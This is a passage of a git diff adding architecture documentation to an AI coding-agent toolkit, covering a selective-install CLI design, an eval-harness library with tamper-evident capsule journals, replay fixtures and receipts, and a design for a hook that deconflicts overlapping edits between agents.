-every framework. - -### 2. Build Up By Intent - -The user should think in terms of: - -- "I want the developer baseline" -- "I need TypeScript and Python" -- "I want Next.js and Django" -- "I want the security pack" - -The user should not have to know raw internal repo paths. - -### 3. Preview Before Mutation - -Every install path should support dry-run planning: - -```bash -ecc install --target cursor --profile developer --with lang:typescript --with framework:nextjs --dry-run -``` - -The plan should clearly show: - -- selected components -- skipped components -- target root -- managed paths -- expected install-state location - -### 4. Local Configuration Should Be First-Class - -Teams should be able to commit a project-level install config and use: - -```bash -ecc install --config ecc-install.json -``` - -That allows deterministic installs across contributors and CI. - -## Component Model - -The current manifest already uses install modules and profiles. The user-facing -design should keep that internal structure, but present it as four main -component families. - -Near-term implementation note: some user-facing component IDs still resolve to -shared internal modules, especially in the language/framework layer. The -catalog improves UX immediately while preserving a clean path toward finer -module granularity in later phases. - -### 1. Baseline - -These are the default ECC building blocks: - -- core rules -- baseline agents -- core commands -- runtime hooks -- platform configs -- workflow quality primitives - -Examples of current internal modules: - -- `rules-core` -- `agents-core` -- `commands-core` -- `hooks-runtime` -- `platform-configs` -- `workflow-quality` - -### 2. Language Packs - -Language packs group rules, guidance, and workflows for a language ecosystem. - -Examples: - -- `lang:typescript` -- `lang:python` -- `lang:go` -- `lang:java` -- `lang:rust` - -Each language pack should resolve to one or more internal modules plus -target-specific assets. - -### 3. Framework Packs - -Framework packs sit above language packs and pull in framework-specific rules, -skills, and optional setup. - -Examples: - -- `framework:react` -- `framework:nextjs` -- `framework:django` -- `framework:springboot` -- `framework:laravel` - -Framework packs should depend on the correct language pack or baseline -primitives where appropriate. - -### 4. Capability Packs - -Capability packs are cross-cutting ECC feature bundles. - -Examples: - -- `capability:security` -- `capability:research` -- `capability:orchestration` -- `capability:media` -- `capability:content` - -These should map onto the current module families already being introduced in -the manifests. - -## Profiles - -Profiles remain the fastest on-ramp. - -Recommended user-facing profiles: - -- `core` - minimal baseline, safe default for most users trying ECC -- `developer` - best default for active software engineering work -- `security` - baseline plus security-heavy guidance -- `research` - baseline plus research/content/investigation tools -- `full` - everything classified and currently supported - -Profiles should be composable with additional `--with` and `--without` flags. - -Example: - -```bash -ecc install --target claude --profile developer --with lang:typescript --with framework:nextjs --without capability:orchestration -``` - -## Proposed CLI Design - -### Primary Commands - -```bash -ecc install -ecc plan -ecc list-installed -ecc doctor -ecc repair -ecc uninstall -ecc catalog -``` - -### Install CLI - -Recommended shape: - -```bash -ecc install [--target ] [--profile ] [--with ]... [--without ]... [--config ] [--dry-run] [--json] -``` - -Examples: - -```bash -ecc install --target claude --profile core -ecc install --target cursor --profile developer --with lang:typescript --with framework:nextjs -ecc install --target antigravity --with capability:security --with lang:python -ecc install --config ecc-install.json -``` - -### Plan CLI - -Recommended shape: - -```bash -ecc plan [same selection flags as install] -``` - -Purpose: - -- produce a preview without mutation -- act as the canonical debugging surface for selective install - -### Catalog CLI - -Recommended shape: - -```bash -ecc catalog profiles -ecc catalog components -ecc catalog components --family language -ecc catalog show framework:nextjs -``` - -Purpose: - -- let users discover valid component names without reading docs -- keep config authoring approachable - -### Compatibility CLI - -These legacy flows should still work during migration: - -```bash -ecc-install typescript -ecc-install --target cursor typescript -ecc typescript -``` - -Internally these should normalize into the new request model and write -install-state the same way as modern installs. - -## Proposed Config File - -### Filename - -Recommended default: - -- `ecc-install.json` - -Optional future support: - -- `.ecc/install.json` - -### Config Shape - -```json -{ - "$schema": "./schemas/ecc-install-config.schema.json", - "version": 1, - "target": "cursor", - "profile": "developer", - "include": [ - "lang:typescript", - "lang:python", - "framework:nextjs", - "capability:security" - ], - "exclude": [ - "capability:media" - ], - "options": { - "hooksProfile": "standard", - "mcpCatalog": "baseline", - "includeExamples": false - } -} -``` - -### Field Semantics - -- `target` - selected harness target such as `claude`, `cursor`, or `antigravity` -- `profile` - baseline profile to start from -- `include` - additional components to add -- `exclude` - components to subtract from the profile result -- `options` - target/runtime tuning flags that do not change component identity - -### Precedence Rules - -1. CLI arguments override config file values. -2. config file overrides profile defaults. -3. profile defaults override internal module defaults. - -This keeps the behavior predictable and easy to explain. - -## Modular Installation Flow - -The user-facing flow should be: - -1. load config file if provided or auto-detected -2. merge CLI intent on top of config intent -3. normalize the request into a canonical selection -4. expand profile into baseline components -5. add `include` components -6. subtract `exclude` components -7. resolve dependencies and target compatibility -8. render a plan -9. apply operations if not in dry-run mode -10. write install-state - -The important UX property is that the exact same flow powers: - -- `install` -- `plan` -- `repair` -- `uninstall` - -The commands differ in action, not in how ECC understands the selected install. - -## Target Behavior - -Selective install should preserve the same conceptual component graph across all -targets, while letting target adapters decide how content lands. - -### Claude - -Best fit for: - -- home-scoped ECC baseline -- commands, agents, rules, hooks, platform config, orchestration - -### Cursor - -Best fit for: - -- project-scoped installs -- rules plus project-local automation and config - -### Antigravity - -Best fit for: - -- project-scoped agent/rule/workflow installs - -### Codex / OpenCode - -Should remain additive targets rather than special forks of the installer. - -The selective-install design should make these just new adapters plus new -target-specific mapping rules, not new installer architectures. - -## Technical Feasibility - -This design is feasible because the repo already has: - -- install module and profile manifests -- target adapters with install-state paths -- plan inspection -- install-state recording -- lifecycle commands -- a unified `ecc` CLI surface - -The missing work is not conceptual invention. The missing work is productizing -the current substrate into a cleaner user-facing component model. - -### Feasible In Phase 1 - -- profile + include/exclude selection -- `ecc-install.json` config file parsing -- catalog/discovery command -- alias mapping from user-facing component IDs to internal module sets -- dry-run and JSON planning - -### Feasible In Phase 2 - -- richer target adapter semantics -- merge-aware operations for config-like assets -- stronger repair/uninstall behavior for non-copy operations - -### Later - -- reduced publish surface -- generated slim bundles -- remote component fetch - -## Mapping To Current ECC Manifests - -The current manifests do not yet expose a true user-facing `lang:*` / -`framework:*` / `capability:*` taxonomy. That should be introduced as a -presentation layer on top of the existing modules, not as a second installer -engine. - -Recommended approach: - -- keep `install-modules.json` as the internal resolution catalog -- add a user-facing component catalog that maps friendly component IDs to one or - more internal modules -- let profiles reference either internal modules or user-facing component IDs - during the migration window - -That avoids breaking the current selective-install substrate while improving UX. - -## Suggested Rollout - -### Phase 1: Design And Discovery - -- finalize the user-facing component taxonomy -- add the config schema -- add CLI design and precedence rules - -### Phase 2: User-Facing Resolution Layer - -- implement component aliases -- implement config-file parsing -- implement `include` / `exclude` -- implement `catalog` - -### Phase 3: Stronger Target Semantics - -- move more logic into target-owned planning -- support merge/generate operations cleanly -- improve repair/uninstall fidelity - -### Phase 4: Packaging Optimization - -- narrow published surface -- evaluate generated bundles - -## Recommendation - -The next implementation move should not be "rewrite the installer." - -It should be: - -1. keep the current manifest/runtime substrate -2. add a user-facing component catalog and config file -3. add `include` / `exclude` selection and catalog discovery -4. let the existing planner and lifecycle stack consume that model - -That is the shortest path from the current ECC codebase to a real selective -install experience that feels like ECC 2.0 instead of a large legacy installer. diff --git a/docs/architecture/cross-harness.md b/docs/architecture/cross-harness.md index ec8d21a09..768414b72 100644 --- a/docs/architecture/cross-harness.md +++ b/docs/architecture/cross-harness.md @@ -59,6 +59,9 @@ Adapters should stay thin. The shared behavior belongs in `skills/`, `rules/`, ` ## Shared Memory Contract +The session snapshot side of this contract (`ecc.session.v1`) is specified in +[session-adapter-contract.md](session-adapter-contract.md). + ECC Memory Vault is the common knowledge-transfer surface for Claude, Codex, Hermes, Cursor, OpenCode, and other agents. It stores portable `ecc.memory.v1` Markdown documents in three scopes: diff --git a/docs/architecture/eval-harness-frameworks.md b/docs/architecture/eval-harness-frameworks.md new file mode 100644 index 000000000..d00e4b4e0 --- /dev/null +++ b/docs/architecture/eval-harness-frameworks.md @@ -0,0 +1,391 @@ +# Eval Harness Frameworks + +Local capsule, inspection, fixture replay, and receipt building blocks. +Candidate execution and promotion are unavailable. +They live in `scripts/lib/eval-harness/`, ship with a CLI at +`scripts/eval-harness.js`, and have an end-to-end example under +`examples/eval-harness/`. The example runs locally, offline, and inside temporary +directories. It does not merge, deploy, publish, or spend. + +```sh +node scripts/eval-harness.js example +``` + +## Why these five + +The harness engineering plan v2 (August 2026) describes a twelve-layer stack. +The part that belongs in the portable ECC package is the contract surface any +harness can install and exercise: record what happened, prove it was not +altered, gate a proposed change behind an external checker, replay tool calls +without re-firing effects, and hand a verifier something it can check without +trusting the producer. The execution gate remains disabled pending a verified OS containment backend. +The other modules expose local utilities, not a trust decision about code. + +| Framework | Module | Plan epic | What it gives you today | +| --- | --- | --- | --- | +| Envelope | `envelope.js`, `schemas/capsule-envelope.schema.json` | 01 telemetry and capsule contract | `capsule-envelope/v1`, stable identifiers, effect classes SE0 to SE4, default-deny payload allowlist, secret canaries | +| Capsule | `capsule.js` | 02 local execution capsule | Append-only NDJSON journal, five lineages, sha256 predecessor links, `verify` that fails at the exact entry, byte-stable projection, minimal export bundle | +| Gate | `gate.js`, `gate-child.js` | 03 verification gate | Static source digests and syntactic warnings; all execution entrypoints refuse | +| Replay | `replay.js`, `effect-fence.js` | 04 replay-safe branching | Declared determinism and effect class per tool, content-addressed fixtures, `tool.fixture_missing` fail-closed replay, retired child preload refuses execution | +| Receipt | `receipt.js` | 07 verifiable receipts | Offline receipt over capsule root, entry count, artifact digest, and gate receipt; detached signature interface; verification names the failing check | + +Epic 05 has an offline, report-only capsule grouping utility described below. +Self-improvement, operational retrospective validation and epic 06 (causal +triage and compaction invariance) remain unimplemented. They consume the +records these five frameworks produce. + +## Effect classes + +Every journal entry, tool declaration, and variant manifest carries one class. + +| Class | Meaning | Where it is allowed | +| --- | --- | --- | +| SE0 | Read-only evaluation or schema validation | Everywhere | +| SE1 | Reversible local writes inside the capsule or work root | Journal, gate metadata | +| SE2 | Process or filesystem mutation, no live network writes | Candidate execution unavailable | +| SE3 | Append-only remote evidence publication | Never in replay; trusted record-mode caller controls authorization; refused in replay | +| SE4 | Economic, counterparty, payment, provider, or secret-handling effects | Never in replay; record mode requires the trusted caller to forbid it | + +Effect classes are declarations, not OS permissions. Static inspection reports +effect-class expansion but cannot enforce a declaration. The replayer refuses +SE3 and above in replay mode regardless of fixtures; record mode invokes the +caller-supplied implementation up to its configured maximum. Only register +trusted implementations. No JavaScript tool wrapper isolates arbitrary code. + +## Capsule journal + +A capsule is a directory with `capsule.json`, `journal.ndjson`, and an optional +`projection.json`. Each line of the journal is one canonical-JSON envelope. The +first entry links to sixty-four zeros; every later entry links to the previous +`entry_hash`. + +```js +const { capsule } = require('./scripts/lib/eval-harness'); +const c = capsule.Capsule.create('.ecc/capsules/run-42', { task_family: 'slugify' }); +c.append('plan', 'inspection.start', { task_id: 't01' }); +c.append('attempt', 'gate.unavailable', { status: 'blocked', reason: 'gate.isolation_required' }); +capsule.verify('.ecc/capsules/run-42'); // { ok, code, failed_at, root_hash } +``` + +`verify` returns `ok: false` with a stable code and the exact failing index for +a changed byte (`capsule.invalid_entry`), a dropped or swapped entry +(`capsule.reordered` or `capsule.broken_link`), and a partial trailing write +(`capsule.truncated_tail`). The journal digest covers the original bytes; +invalid UTF-8 is rejected as `capsule.non_canonical`. `project` derives stable +content from the verified journal snapshot and validated metadata. `exportBundle` +copies the three capsule files and nothing from the workspace. + +Metadata is validated before creation writes and when opening, verifying or +projecting a capsule. IDs use the envelope ID pattern; harness/task family must +be nonempty, and created_at must use the canonical ISO timestamp produced by +Date.toISOString(). Missing, unreadable or malformed metadata returns +`capsule.metadata_invalid`; invalid UTF-8 is also rejected. Every journal entry must match metadata schema, +run_id, capsule_id, harness_version and task_family, or verification returns +`capsule.metadata_mismatch` at that entry. Empty journals have no historical +identity binding; their projection and receipt bind the metadata values. +created_at is shape-checked but is not authenticated by journal entries. + +Envelope v1 enforces the scalar payload types declared in +`schemas/capsule-envelope.schema.json`. String fields require strings; number +fields require finite numbers, and integer fields require integers. Only +`exit_code` accepts null. No extra nonnegative restrictions are imposed on these +payload numbers. Omitted append payloads still default to an empty object. +Explicit null, arrays, primitives, exotic objects, accessors, symbol keys and +non-enumerable properties are rejected. Plain data objects with either the normal +or null prototype are accepted. Validation inspects descriptors before reading +values; it does not isolate proxies or arbitrary caller JavaScript. + +Retained fields are validated before canary scanning or hashing. Undefined, +non-finite numbers, functions, symbols, BigInt and nested/cyclic objects are +refused instead of coerced, dropped from serialized bytes or recursively scanned. +`redactPayload` adds an `errors` array to its existing result; callers must check +it alongside `dropped` and `findings`. Append reports `capsule.payload_invalid` +without writing a journal entry; the existing finally path releases its owned +lock. Strict unknown payload keys still report `capsule.payload_denied`. +`strict: false` permits dropping unknown keys, but never invalid retained values. +Custom allowlists can narrow v1 fields only, and cannot widen the persisted schema. + +Envelope validation also requires its own schema-defined fields and rejects +unknown top-level fields even when the supplied hash has been recomputed. Invalid +stored records return `capsule.invalid_entry` at their journal index. This tightens +acceptance of malformed v1 data: existing nonconforming callers/journals need +explicit correction; no automatic migration or healing is performed. Valid v1 +bytes and hashes remain unchanged. Generic key preservation and remaining +non-JSON limitations are described below; neither supplies OS containment. + +The generic canonicalizer preserves every selected own enumerable JSON key as an +own data property, including `__proto__`, `constructor` and `prototype`. It does +not invoke an inherited setter while constructing the canonical object. Results +retain their ordinary object prototype. Envelope schema rejection is separate: +an own `__proto__` key is valid generic JSON data but remains an unknown envelope +field. Receipt schema acceptance is unchanged; hashing a field is not permission +from a higher-level schema. + +Traversal, key sorting, array handling, undefined omission, JSON.stringify and +UTF-8 hashing retain their prior policy, including JavaScript's ordering of +numeric-looking keys. Schema-valid v1 journal/projection bytes and unaffected +receipt/fixture bytes stay identical. Regression vectors were captured from the +pre-fix implementation, including unsigned and synthetic string-signed receipts. +Verification does not rewrite those stored artifacts. + +The earlier canonicalizer omitted own `__proto__` keys, creating hash aliases. +Corrected inputs retaining that key intentionally produce different hashes. An +artifact retaining it with a legacy digest fails existing hash checks; a fixture +lookup does not fall back to the old aliased key. Existing key-free stored bytes +remain readable as those bytes, but cannot authenticate richer original inputs +whose keys were lost. Recovery requires explicit re-recording from a trusted +source or receipt rebuilding/re-signing; there is no automatic rekey, migration, +rewrite, dual-hash acceptance or recovery of already discarded information. + +This correction does not define a stricter generic policy for undefined, +functions/symbols, non-finite numbers, sparse arrays, class/toJSON/getter behavior, +cycles, resource limits or hostile proxies. Their prior behavior remains; no +claim of unambiguous hashing for every JavaScript value is made. The envelope's +stricter scalar validation remains a separate layer. + +Append operations serialize cooperating writers using an exclusive local +`.append.lock` file. Acquisition uses `wx` and fails immediately with +`capsule.busy` when the path exists, regardless of age or contents. There is no +waiting, retry, PID/age heuristic, or automatic stale unlocking. Under ownership, +each append reloads and verifies the complete journal and metadata, then derives +its sequence and predecessor hash from that snapshot. Preopened handles never +use cached sequence/hash values as authoritative state. Full validation costs +O(journal size) per append; this implementation is intended for small local +journals. + +The writer handles short writes until the complete UTF-8 entry has been written, +then fsyncs the journal. The append lock is released in finally on success, +validation refusal, or ordinary I/O exceptions. A zero-progress write returns +`capsule.write_failed`. Release checks the open lock descriptor's device/inode +against the path before unlinking; a detected missing/replaced lock returns +`capsule.lock_lost` and a replacement is preserved. This is cooperative ownership +checking, not atomic protection against an actor replacing paths between syscalls. +The local filesystem must support exclusive file creation and stable identities. + +A process crash can leave `.append.lock` behind. Acquisition/cleanup I/O failures +can also leave a lock that was not safely released. Further appends stay busy; +only an operator who has stopped all writers and inspected the capsule should +perform recovery. The library never guesses ownership, removes an old lock, +truncates a tail, or repairs journal bytes automatically. + +A write failure may leave a partial entry; later appends verify the journal and +refuse the invalid tail, preserving evidence. A full entry may already exist when +fsync, close or lock release throws. Such a failure is an ambiguous acknowledgement, +not proof of rollback: inspect disk before retrying, or a logical event could be +recorded twice. No transaction, exactly-once retry, parent-directory fsync, or +power-loss durability guarantee is added here. + +Create, read/verify, projection, receipt production and export are not serialized +by the append lock. Use quiescent capsules for consistent receipts/exports; there +is no concurrent export guarantee or hostile-filesystem containment. The append +repair does not change the disabled candidate execution boundary. + +What the chain does not claim: it does not stop an operator from replacing the +whole log. That is the job of a witnessed transparency log, which is a later, +opt-in layer outside this package. + +## Offline retrospective preparation + +Select 1 to 100 existing capsule directories from one task family: + +```sh +node scripts/eval-harness.js capsule group .ecc/capsules/run-41 .ecc/capsules/run-42 +``` + +```js +const { retrospective } = require('./scripts/lib/eval-harness'); +const report = retrospective.groupCapsules(['.ecc/capsules/run-41', '.ecc/capsules/run-42']); +``` + +This read-only utility recomputes each projection from the verified metadata and +journal snapshot using `capsule.project`. It never uses or repairs a saved +`projection.json`. Inputs must be small, quiescent local capsules from the same +task family; a mismatch rejects the entire report. There is no directory +discovery, hook activation, new rollout, fixture replay or candidate execution. + +`capsule-retrospective/v1` reports the task family, input count, unique capsule +count, duplicate count, and groups sorted by declared harness version. Each +group contains capsule/entry counts, all five lineage counts, all five declared +effect-class counts, and source digest references. Counts describe recorded +entries, not unique tasks, attempts, successful effects or independently +verified outcomes. Empty journals contribute one capsule and zero entries. +Payload scores, verdicts, costs, durations and pass/fail totals are not used. + +The pair `(run_id, capsule_id)` identifies a capsule for deduplication. Repeated +paths or copied snapshots count once when their verified projection hashes +match. Conflicting snapshots of that identity, including different checkpoints, +fail with `retrospective.conflicting_identity`; the utility never picks a winner. +Distinct capsule identities remain distinct even if their event shapes match. +Source references contain the canonical hash of the identity pair, entry count, +root hash, journal digest and projection hash. `report_hash` covers every other +report field; input ordering does not change the result. Repeating an input +changes input/duplicate counts and the report hash, but not the grouped counts. + +Reports omit directory arguments, raw run/capsule IDs, journal payloads and +timestamps. **Task-family and harness-version labels are returned verbatim** +and may themselves contain private text or paths. Digest references are not +anonymization: they remain linkable and low-entropy IDs can be guessed. Review +labels and report content before sharing. Neither hashes nor declared labels +authenticate a producer or prove an improvement; `report_only` is always true. + +Any invalid, unreadable or mismatched capsule rejects the whole report with +`retrospective.invalid_capsule` and a zero-based input index. Diagnostics omit +underlying reader messages and source paths. Mixed families and invalid input +lists have separate stable codes. CLI success emits JSON to stdout and exits 0; +bad usage exits 2, while verification/refusal exits 1 without partial JSON. +The command accepts no flags and does not write a report file. For a directory +name beginning with `--`, use a relative `./` prefix or an absolute path. + +This inherits the existing capsule reader's filesystem and memory limits. The +100-input cap does not bound journal bytes. It does not isolate hostile files, +serialize concurrent writers, validate a signature or establish live provenance. +Executor containment, opt-in hook recording, stable-taskset validation and the +roadmap's operational retrospective milestone remain separate prerequisites. + +## Verification gate: unavailable + +**Supported candidate execution backends: none, on any OS.** `runGate` and +`runVariant` throw `gate.isolation_required` unconditionally, before reading +configuration, copying files, loading candidate modules, or creating receipts. +`gate run` exits 1 before reading its config or creating a capsule. Direct +`gate-child.js` invocation and the retired `effect-fence.js` preload also refuse +before loading requests or candidate code. Trust flags and caller-supplied +executor objects cannot enable execution. There is no promotion path. + +The former directory copy and JavaScript interception did not isolate host +reads, alternate builtin loaders, or filesystem descriptors and promises. +Keeping answers in a parent process did not hide the taskset on disk. The +interception code and staged execution implementation have been removed. +Node's [permission model](https://nodejs.org/api/permissions.html) and +[`vm` module](https://nodejs.org/api/vm.html) are not substitutes for isolation +of malicious code. + +A future executor must have a separately reviewed OS containment implementation +and adversarial evidence on each supported OS. At minimum it must: + +- Expose only immutable, digested variant files and task inputs in an ephemeral + filesystem. Host tasksets, answers, credentials, configuration, sockets, and + other workspaces must be inaccessible, including via links and inherited FDs. +- Enforce network, process, filesystem, and resource restrictions outside the + candidate runtime, with an unprivileged identity and a bounded lifetime. +- Keep the checker, output/protocol validation, audit channel, and receipt + creation outside candidate control. Verify the actual runtime policy using + independent canaries before any candidate starts; refuse unavailable backends. +- Reject failed, timed-out, signalled, incomplete, or malformed baseline runs + before evaluating candidate improvements. Require a complete unique result + for each task. Container availability or a caller's `verified: true` assertion + alone is not policy verification. + +Static APIs remain available for trusted, quiescent local source trees: +`loadTaskset`, `loadVariant`, `digestDir`, and `scanTripwires`. Variant names are +single components of 1–64 ASCII letters, digits, underscores or hyphens, starting +with a letter or digit. Entries must be relative regular files included in the +digest; absolute, parent-traversing, symlinked, and excluded entries are rejected. +`.git` and `node_modules` remain excluded. Inspection does not resist concurrent +host filesystem mutation and is not a sandbox or an execution attestation. +Task IDs must be unique. Syntactic warnings are incomplete by design: zero hits +prove neither safety nor correctness. + +`parseChildResult` and `baselineFailure(run, tasks)` are pure validation helpers +for bounded protocol and baseline integrity regression checks. No executor calls +them in this release. Their tests are not evidence of an operational gate or a +verified OS backend. Existing manifest/config fixtures are preserved as data. + +## Replay-safe tool calls + +```js +const { replay } = require('./scripts/lib/eval-harness'); +const store = new replay.FixtureStore('.ecc/fixtures'); +const tools = { + read_inventory: { effect_class: 'SE0', determinism: 'deterministic', impl: liveRead }, + place_order: { effect_class: 'SE4', determinism: 'nondeterministic', impl: livePlace }, +}; +const r = replay.createReplayer(tools, { mode: 'replay', store, maxEffectClass: 'SE2' }); +r.call('read_inventory', { sku: 'gpu-8x' }); // served from fixture or tool.fixture_missing +r.call('place_order', { sku: 'gpu-8x' }); // tool.effect_forbidden, always +``` + +Fixtures are keyed by the canonical hash of `(tool, args)` and store both an +argument hash and a response hash, so a stale or edited fixture fails with +`tool.fixture_mismatch`. Record mode executes caller-supplied trusted functions; +replay uses fixtures. These wrappers do not constrain arbitrary effects inside +an implementation. The legacy `EFFECT_FENCE_PRELOAD` export remains for import +compatibility, but loading that file always throws `gate.isolation_required`. +It no longer attempts JavaScript interception. + +## Offline receipts + +```sh +node scripts/eval-harness.js receipt build .ecc/capsules/run-42 \ + --artifact skills/my-skill/SKILL.md --out run-42.receipt.json +node scripts/eval-harness.js receipt verify run-42.receipt.json exported-bundle/ \ + --artifact skills/my-skill/SKILL.md +``` + +A receipt names the capsule root, entry count, journal digest, projection +hash, artifact digest, and optional gate receipt digest, plus its own hash. +`buildReceipt` now persists `projection.json` using the verified journal snapshot +before returning the receipt. This is a producer write and can fail on a read-only +capsule; copy a read-only source to a writable local directory before building. +An explicit invalid artifact_digest throws `receipt.schema_invalid` before the +projection write. Other construction failures continue to throw. + +`verifyReceipt` is read-only. It never regenerates or heals a missing projection. +The supplied projection must parse and match the complete deterministic projection +from the validated metadata/journal snapshot; its computed hash must match both +its stored projection_hash and the receipt. Missing, unreadable, corrupt or +substituted projections return `check: 'projection'`; invalid UTF-8 is rejected. Receipt identity mismatches +and invalid capsule metadata return `check: 'metadata'`. + +Schema validation rejects negative, fractional, string or unsafe entry counts, +invalid identity/schema values and malformed required digests before journal +indexing. Optional artifact/gate digest fields must be SHA-256 values or null. +Otherwise valid receipts retain signature, journal integrity, truncation, +capsule-root and stale-checkpoint checks before projection/artifact comparisons. +Missing or unreadable artifact files return `check: 'artifact'` rather than +throwing. Every verification failure has `{ok: false, check, reason}` for these +validated file/content cases. + +Existing v1 exported bundles retain their format. Older source directories whose +receipts were built without a saved projection must explicitly run `capsule +project` or rebuild the receipt before verification; verification itself never +writes a replacement. The CLI validates --artifact, --gate and --out before file +reads or producer writes: missing values, values that are another flag, and +repeated flags exit with usage code 2. Disabled gate commands still refuse before +configuration/capsule I/O. + +Signing remains a detached interface: pass a signer when building and a verifier +when verifying. No key generation, transport or rotation happens in this package. +A signature proves who vouched for the bytes, not that the run was correct. +Optional gate-receipt hashing remains for compatibility with existing artifacts; +accepting externally supplied bytes proves neither containment nor promotion. + +This slice addresses receipt/projection validation and metadata identity binding. +The OS executor is still unavailable. Cooperative append serialization is +described above; concurrent export/create and broader envelope/review findings +remain separate. Package/count evidence is a separate ignore-scripts test scope +and does not validate normal prepack or clear a release. + +## Where it plugs in + +- `skills/eval-harness/SKILL.md` describes eval-driven development. These + frameworks are the mechanical layer under its report format. +- The `harness-optimizer` agent and `/harness-audit` command must report the gate + unavailable until a reviewed OS backend exists. They cannot emit new gate + receipts using this implementation. +- The Rust `ecc2/src/harness_eval.rs` bounded evaluation loop is a separate, + earlier experiment. The Node frameworks are the portable surface. + +## Tests + +```sh +node tests/lib/eval-harness/envelope.test.js +node tests/lib/eval-harness/capsule.test.js +node tests/lib/eval-harness/retrospective.test.js +node tests/lib/eval-harness/gate.test.js +node tests/lib/eval-harness/security.test.js +node tests/lib/eval-harness/replay.test.js +node tests/lib/eval-harness/receipt.test.js +node tests/lib/eval-harness/cli.test.js +node examples/eval-harness/run-example.js +``` diff --git a/docs/SESSION-ADAPTER-CONTRACT.md b/docs/architecture/session-adapter-contract.md similarity index 100% rename from docs/SESSION-ADAPTER-CONTRACT.md rename to docs/architecture/session-adapter-contract.md diff --git a/docs/control-plane/TCAS-HOOK.md b/docs/control-plane/TCAS-HOOK.md new file mode 100644 index 000000000..9b9b02c58 --- /dev/null +++ b/docs/control-plane/TCAS-HOOK.md @@ -0,0 +1,81 @@ +# TCAS hook: pre-merge deconfliction (slice b, design) + +Status: design only. Nothing in this document is implemented. Slice (a), the live view and the advisory feed it reads, shipped in `VIEW-CONTRACT.md`. + +## Goal + +Stop two agents from finishing overlapping edits and meeting at the merge. The scan already knows when two working sets converge; the hook is what turns that knowledge into a maneuver inside the harness, before either agent commits. + +Push plan wording: "a PreToolUse/Edit hook that reads the advisory feed and returns steer, pause or wait for the lower-priority agent, logged to the capsule." + +## Inputs + +1. The event feed: `GET /api/control-plane/events` on the local control pane, or the same document written to a file by `scripts/proximity-tick.js --json` for sessions without a pane. Events of kind `proximity.advisory` with `action.type` `transmit` or `steer` and a deterministic `id`. +2. The hook's own session id. Claude Code passes `session_id` on stdin; the ECC session adapter maps it to the ECC2 `sessions.id` the scan uses. Codex and Hermes use the instruction-backed equivalent (see below). +3. The tool call: `tool_name` and `tool_input.file_path` for Edit, Write and MultiEdit. Bash is out of scope for v1. + +## Decision + +For each advisory event whose `subject` includes this session: + +| Event | This session is | Maneuver | Hook result | +|---|---|---|---| +| `traffic`, action `transmit` | either side | **transmit**: inject the other agent's working set as a system message | exit 0, message on stderr (warn, never block) | +| `resolution`, action `steer` | `hold` | **hold**: continue | exit 0, short note | +| `resolution`, action `steer` | `steer`, and `file_path` is in the other agent's working set | **pause**: stop editing that file until the other agent's diff lands | exit 2 with the reason (blocks this one tool call) | +| `resolution`, action `steer` | `steer`, and `file_path` is not in the other agent's working set | **wait**: allowed, but told to keep to non-overlapping files | exit 0, message on stderr | +| `resolution`, action `steer` | `steer`, and a `steer` target exists | **steer**: suggest the disjoint files or subtree the agent should move to | exit 0, message; exit 2 only if the edit is on the shared file | + +The maneuver is deterministic: both agents read the same event, `hold` and `steer` are named in it, so the two sides never pick the same move. This is the TCAS coordination property and it is why the view computes right-of-way once, centrally, rather than each hook deciding. + +`pause` blocks a single tool call, not the session. The agent sees the reason and can pick another file. Blocking is bounded by the event's `at`: an event older than the pane's poll interval times three is stale and the hook does not block on it. + +## Priority + +Right-of-way comes from the event (`action.hold`, `action.steer`). The view computes it as more progress, then earlier start, then stable id (`rightOfWay` in `scripts/lib/agent-proximity/distance.js`). The hook never recomputes it. + +## Logging to the capsule + +Every decision is one entry in the session's capsule journal (`scripts/lib/eval-harness/capsule.js`, hash-linked NDJSON): + +```json +{ + "kind": "tcas.decision", + "event_id": "proximity.advisory:session-a|session-b:resolution", + "session": "session-b", + "tool": "Edit", + "file": "src/api/users.js", + "maneuver": "pause", + "blocked": true, + "risk": 1, + "threshold": { "ta": 0.35, "ra": 0.7, "source": "static" }, + "at": "2026-09-11T20:01:03.000Z" +} +``` + +The capsule is the baseline counter for the 85 percent goal: rebase and merge-conflict triage incidents per week are counted from these entries plus `git rerere` and conflict markers, two weeks before and two weeks after the hook is on. No percentage is claimed before that. + +## Where it plugs in + +- **Claude Code**: a `PreToolUse` entry in `hooks/hooks.json` with matcher `Edit|Write|MultiEdit`, routed through `scripts/hooks/run-with-flags.js` so `ECC_HOOK_PROFILE` and `ECC_DISABLED_HOOKS` gate it. Script under `scripts/hooks/tcas-pre-edit.js`, helpers in `scripts/lib/control-pane/tcas.js`. Budget: under 200 ms, no network beyond loopback, exit 0 on any parse or fetch error. +- **Codex**: no PreToolUse. The instruction-backed equivalent is the `proximity_steer` / `proximity_hold` message the tick already writes into the ECC2 `messages` table, surfaced on the next turn. `pause` degrades to a strong instruction. +- **Hermes**: gateway hook on the tool-call path, same decision table, same capsule entry. + +## Off switch and safety + +- Disabled by default. On with `ECC_TCAS_HOOK=1` or the hook profile. +- Read-only against the pane. It never writes to the sessions or messages tables. +- No lease is acquired. Durable leases are slice (c), the worktree lease table in ecc2 `session/store.rs` next to `messages`; until then a `pause` is a per-call block, not a lock, and two hooks racing on the same file is possible but harmless (both see the same event and the same `steer`). +- Fails open. Any error is exit 0 with a `[TCAS]` line on stderr. + +## Tests to write with it + +- Decision table: one test per row above, driven by a fixture event feed and a stdin payload. +- Staleness: an event older than the window does not block. +- Fail-open: unreachable pane, malformed JSON, missing session id. +- Capsule: one entry per decision, hash chain intact, replay reproduces the same bytes. +- Integration: two fake sessions with overlapping working sets, the lower-priority one gets exit 2 on the shared file and exit 0 on a disjoint file. + +## Out of scope for (b) + +Learned thresholds, closure-rate escalation, mesh mode, cross-machine airspace, the `x_sem`, `x_vec`, `x_freq` channels (slice g), and the lease table (slice c). diff --git a/docs/control-plane/VIEW-CONTRACT.md b/docs/control-plane/VIEW-CONTRACT.md new file mode 100644 index 000000000..8f6f00abb --- /dev/null +++ b/docs/control-plane/VIEW-CONTRACT.md @@ -0,0 +1,141 @@ +# ECC control-plane live view: `ecc.control-plane.view.v1` + +Status: shipped with the control pane (`scripts/lib/control-pane/control-plane-view.js`). Read-only. Advisory only. + +The view joins three things the repo already computes separately and serves them as one JSON document shaped as tasks, lanes and events, so another control plane (the Ito ops board, a Hermes or Codex reader, a hook) can consume it without knowing ECC internals. + +| Input | Where it comes from | +|---|---| +| Sessions | `scripts/lib/control-pane/state.js`, the ECC2 `sessions` table | +| Pairwise proximity | `scripts/lib/agent-proximity/` (noisy-OR over `x_tree`, `x_overlap`, `x_dep`) via `scripts/lib/control-pane/proximity.js` | +| 